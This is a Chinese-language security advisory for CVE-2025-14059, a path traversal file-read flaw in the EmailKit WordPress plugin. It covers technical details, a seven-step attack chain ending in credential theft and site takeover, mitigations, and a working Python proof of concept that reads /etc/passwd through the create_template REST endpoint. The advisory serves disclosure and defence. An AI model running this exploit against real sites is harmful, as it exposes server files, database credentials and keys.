IPBUF安全漏洞报告
English
CVE-2025-14059 CVSS 6.5 中危

CVE-2025-14059 WordPress EmailKit插件路径遍历任意文件读取漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2025-14059
漏洞类型
路径遍历/任意文件读取
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
EmailKit WordPress Plugin

相关标签

CVE-2025-14059路径遍历任意文件读取WordPress插件漏洞EmailKitREST API文件包含敏感信息泄露MetFormWordPress安全

漏洞概述

EmailKit是WordPress的一个电子邮件营销和模板管理插件。该插件在1.6.1及以下所有版本中存在一个严重的路径遍历漏洞,攻击者可以利用该漏洞实现任意文件读取。漏洞根源在于create_template REST API端点缺少对路径的有效验证,攻击者可通过emailkit-editor-template参数注入路径遍历序列(如../),直接将用户可控输入传递给file_get_contents()函数而未进行任何消毒处理。成功利用此漏洞需要认证用户具有Author级别或更高权限,攻击者可读取服务器上的敏感文件,包括系统配置文件(如/etc/passwd)、WordPress配置文件(wp-config.php)以及其他包含敏感信息的文件。被读取的文件内容会被存储在post meta中,攻击者还可以通过MetForm的邮件确认功能进一步窃取这些敏感数据。此漏洞CVSS评分为6.5,属于中等严重程度,但由于可导致敏感凭据泄露,实际危害可能更为严重。

技术细节

该漏洞存在于EmailKit插件的REST API处理逻辑中,具体位于create_template端点的实现代码中。攻击流程如下:首先,攻击者需要拥有一个具有Author级别权限的WordPress用户账户;然后,通过向WordPress REST API发送恶意请求,在emailkit-editor-template参数中构造包含路径遍历序列的路径,例如使用../../../../etc/passwd;由于插件代码直接使用file_get_contents()读取该参数值而未进行路径规范化或验证,服务器会按照攻击者指定的路径读取文件;读取的文件内容随后被存储到WordPress的post meta表中;最后,攻击者可通过MetForm组件的邮件确认功能将读取到的文件内容外泄出去。漏洞利用的关键在于:1) REST API缺少权限级别检查;2) emailkit-editor-template参数未经过滤直接用于文件路径;3) file_get_contents()函数执行时未进行路径规范化。攻击者利用此漏洞可获取数据库凭据、API密钥、加密盐值等敏感信息,进而实现对整个WordPress站点的完全控制。

攻击链分析

STEP 1
步骤1:侦察和信息收集
攻击者识别目标WordPress站点并确认安装了EmailKit插件版本<=1.6.1,可通过查看页面源代码或使用wappalyzer等工具识别
STEP 2
步骤2:获取有效账户
攻击者获取或创建一个具有Author级别权限的WordPress用户账户,该账户可登录后台并使用REST API
STEP 3
步骤3:构造恶意请求
攻击者构造包含路径遍历payload的REST API请求,在emailkit-editor-template参数中使用../../../../等序列构造目标文件路径
STEP 4
步骤4:触发文件读取
通过POST请求发送到/emailkit/v1/create_template端点,插件直接使用file_get_contents()读取指定路径的文件
STEP 5
步骤5:数据存储
读取的文件内容被自动存储到WordPress的post meta表中,为后续数据外泄做准备
STEP 6
步骤6:数据外泄
攻击者利用MetForm的邮件确认功能,将存储在post meta中的敏感文件内容通过邮件发送给自己,完成数据窃取
STEP 7
步骤7:权限提升
获取wp-config.php中的数据库凭据和认证密钥后,攻击者可进一步控制整个WordPress站点甚至服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-14059 PoC - EmailKit Arbitrary File Read # Target: WordPress site with EmailKit plugin <= 1.6.1 target_url = "http://target-wordpress-site.com" # Authentication - Requires Author-level user credentials username = "attacker_username" password = "attacker_password" # Login to get authentication cookie login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In" } session = requests.Session() login_response = session.post(login_url, data=login_data) # Check if login was successful if "wordpress_logged_in" not in str(session.cookies): print("[-] Login failed") exit(1) print("[+] Login successful") # Exploit the path traversal vulnerability # Target file: /etc/passwd or wp-config.php api_url = f"{target_url}/wp-json/emailkit/v1/create_template" # Path traversal payload to read /etc/passwd payload = { "emailkit-editor-template": "../../../../etc/passwd" } headers = { "Content-Type": "application/json", "X-WP-Nonce": "your-wp-nonce" # May need to fetch from page source } # Send exploit request response = session.post(api_url, json=payload, headers=headers) if response.status_code == 200: print("[+] File read successful") print("=" * 50) print(response.text) print("=" * 50) else: print(f"[-] Exploit failed with status code: {response.status_code}") print(response.text)

影响范围

EmailKit WordPress Plugin <= 1.6.1

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1) 限制Author及以上级别用户的注册和权限分配;2) 临时禁用EmailKit插件或相关REST API端点;3) 使用Web应用防火墙(WAF)规则阻止包含路径遍历序列(../、..\)的请求;4) 加强WordPress用户权限管理,确保只有可信用户具有Author级别权限;5) 监控系统日志,密切关注异常的REST API访问行为;6) 定期备份wp-config.php等关键配置文件并验证其完整性;7) 考虑使用文件完整性监控工具检测敏感文件是否被非法访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表